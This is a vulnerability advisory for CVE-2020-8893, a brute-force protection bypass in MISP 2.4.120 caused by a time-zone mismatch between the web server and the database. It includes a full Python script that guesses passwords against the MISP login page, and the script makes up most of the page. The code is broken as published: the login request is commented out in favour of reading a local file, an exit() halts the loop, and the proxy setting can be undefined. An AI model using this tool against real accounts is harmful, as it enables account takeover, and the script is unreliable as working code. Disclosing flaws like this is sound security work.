We are reliable, trustworthy, and ready for challenges! Hire Us
MISP – Bruteforce protection not working
- Home
- Advisories
- MISP – Bruteforce protection not working
VULNERABILITY
Bruteforce protection not working in very specific environments
DATE
25.02.2020
Affected Vendor
CIRCL – Computer Incident Response Center Luxembourg
Affected Product
MISP – Malware Information Sharing Platform & Open Standards For Threat Information Sharing – https://www.misp-project.org/
Vulnerable version
2.4.120
Fixed version
2.4.121
CVSS
Recommendations
Update to MISP version 2.4.121
Vulnerability details
Brute force protection is not working when database time is at least one hour ahead of the web server time. It can also happen if a web server and a database are in different timezones. A malicious user could perform a brute force attack against a valid user account of the application. The application did not restrict the number of password attempts, or lock the user account to prevent this type of attack in specific environments.
To prepare proof of concept MISP instance, set your web server timezone one hour ahead of the database timezone.
Run the following replacing parameters accordingly:
python bruteforce-exploit.py --target http://localhost --user dawid@pz.pl --passwords passwords.txt --insecure --verbose
The following screenshot illustrates successful bruteforce attack:
bruteforce-exploit.py
#!/usr/bin/python3 """ Author: Dawid Czarnecki - https://github.com/dawid-czarnecki """ import argparse import requests from time import sleep class Bruteforcer: def __init__(self, target, verbose=False, insecure=False, proxy=None): self.target = target+'/users/login' self.verbose = verbose self.insecure = not insecure self.usernames = [] self.passwords = [] if proxy is not None: self.proxy = {'http': proxy, 'https': proxy} def add_user(self, username): self.usernames.append(username) def load_users(self, userlist): self.usernames.extend(userlist.read().splitlines()) def add_password(self, password): self.passwords.append(password) def load_passwords(self, passwords): self.passwords.extend(passwords.read().splitlines()) def _get_params(self, response): key_str = 'data[_Token][key]' values_pos = response.find('value="', response.find(key_str)+len(key_str)) key = response[values_pos+7:response.find('"', values_pos+7)] field_str = 'data[_Token][fields]' values_pos = response.find('value="', response.find(field_str)+len(field_str)) fields = response[values_pos+7:response.find('"', values_pos+7)] unlocked = '' return {'key': key, 'fields': fields, 'unlocked': unlocked} def success(self, user, password): self.log(user, password, 'success') def fail(self, user, password): self.log(user, password, 'fail') def blackhole(self, user, password): self.log(user, password, 'blackhole') def protection(self, user, password): self.log(user, password, 'protection') def log(self, user, password, status): """Add ASCII colors characters to prettify logging to stdout""" bg_red = '\033[1;41m' green = '\033[1;32m' red = '\033[1;31m' end = '\033[1;m' if status == 'success': print('{}[+] Successful authentication for user: {}, password: {}{}'.format(green, user, password, end)) elif status == 'blackhole': print('{}[!] Blackholed request for user: {}, password: {}{}'.format(bg_red, user, password, end)) elif status == 'fail' and self.verbose: print('{}[-] Failed authentication for user: {}, password: {}{}'.format(red, user, password, end)) elif status == 'protection' and self.verbose: print('{}[-] Bruteforce protection kicks in for user: {}, password: {}. Pausing for 300s.{}'.format(red, user, password, end)) def start(self): result = requests.get(self.target, verify=self.insecure, proxies=self.proxy) cookies = result.cookies result = self._get_params(result.text) stop = False for user in self.usernames: if stop == True: break for password in self.passwords: data = {'_method': 'POST', 'data[_Token][key]': result['key'], 'data[User][email]': user, 'data[User][password]': password, 'data[_Token][fields]': result['fields'], 'data[_Token][unlocked]': result['unlocked']} result = open('resp.txt', 'r').read() # result = requests.post(self.target, data=data, verify=self.insecure, proxies=self.proxy, cookies=cookies) if 'Invalid username or password, try again' in result: self.fail(user, password) elif 'The request has been black-holed' in result: self.blackhole(user, password) stop = True break elif 'You have reached the maximum number of login attempts' in result: self.protection(user, password) sleep(300) else: self.success(user, password) stop = True break result = self._get_params(result) exit() # sleep(1) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Script to brute force login page of MISP') parser.add_argument('-t','--target', help='Target MISP instance URL (E.g.: https://misp.url:1234)') parser.add_argument('-u','--user', help='Single username to test') parser.add_argument('-U','--users', help='Filename of users to bruteforce', type=argparse.FileType('r')) parser.add_argument('-c','--password', help='Single password to test') parser.add_argument('-C','--passwords', help='Filename of passwords to bruteforce', type=argparse.FileType('r')) parser.add_argument('-v','--verbose', default=False, action='store_true', help='Shows failed authentication attempts') parser.add_argument('-k','--insecure', default=False, action='store_true', help='Don\'t verify SSL certificate') parser.add_argument('-p','--proxy', default=False, help='HTTP proxy URL') args = parser.parse_args() import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) bf = Bruteforcer(args.target, args.verbose, args.insecure, args.proxy) if args.user: bf.add_user(args.user) if args.users is not None: bf.load_users(args.users) if args.password: bf.add_password(args.password) if args.passwords is not None: bf.load_passwords(args.passwords) bf.start()
CVE
CVE-2020-8893
Credits
Dawid Czarnecki
Do you think the security of your data might be lacking? Let's find the best approach together.
Once you contact us, we will ask you about the project you want to secure.